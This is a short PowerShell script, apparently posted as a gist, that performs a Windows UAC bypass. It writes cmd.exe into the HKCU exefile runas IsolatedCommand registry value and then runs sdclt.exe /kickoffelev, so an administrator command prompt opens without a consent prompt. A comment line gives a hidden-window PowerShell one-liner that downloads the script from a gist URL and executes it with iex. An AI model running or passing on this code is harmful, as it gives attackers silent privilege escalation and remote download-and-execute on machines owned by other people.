sdctl.exe UAC bypass

FilelessII.ps1

# UAC Fileless II Bypass - Spawns Admin cmd.exe using sdctl runas method - Runs fine in Win10 x64
# powershell.exe -W hidden -C iex (new-object net.webclient).downloadstring('https://gist.githubusercontent.com/Random1984/07638e5ae464d30aa011c0ffd3bbfa59/raw/b3dff9ea72c3594482fa93391c538e204d6a575d/FilelessII.ps1')"

$reg = "HKCU:\Software\Classes\exefile\shell\runas\command"
$nam = "IsolatedCommand"

# Check if $reg doesn't exist to create it
IF(!(Test-Path $reg)) {
	  New-Item -Path $reg -Force | Out-Null

	  # Put payload into registry - Spawn Admin CMD
    $val = "cmd.exe"
    New-ItemProperty -Path $reg -Name $nam -Value $val -PropertyType ExpandString -Force | Out-Null

    # Run sdctl.exe /kickoffelev to execute payload
    $run = [System.Environment]::ExpandEnvironmentVariables("%systemroot%\System32\sdclt.exe")
    $run2 = "/kickoffelev"
    & $run $run2
}

# If $key exists we update the key with our payload
ELSE { 
    $val = "cmd.exe"
    New-ItemProperty -Path $reg -Name $nam -Value $val -PropertyType ExpandString -Force | Out-Null

    # Run sdctl.exe /kickoffelev to complete execution
    $run = [System.Environment]::ExpandEnvironmentVariables("%systemroot%\System32\sdclt.exe")
    $run2 = "/kickoffelev"
    & $run $run2
}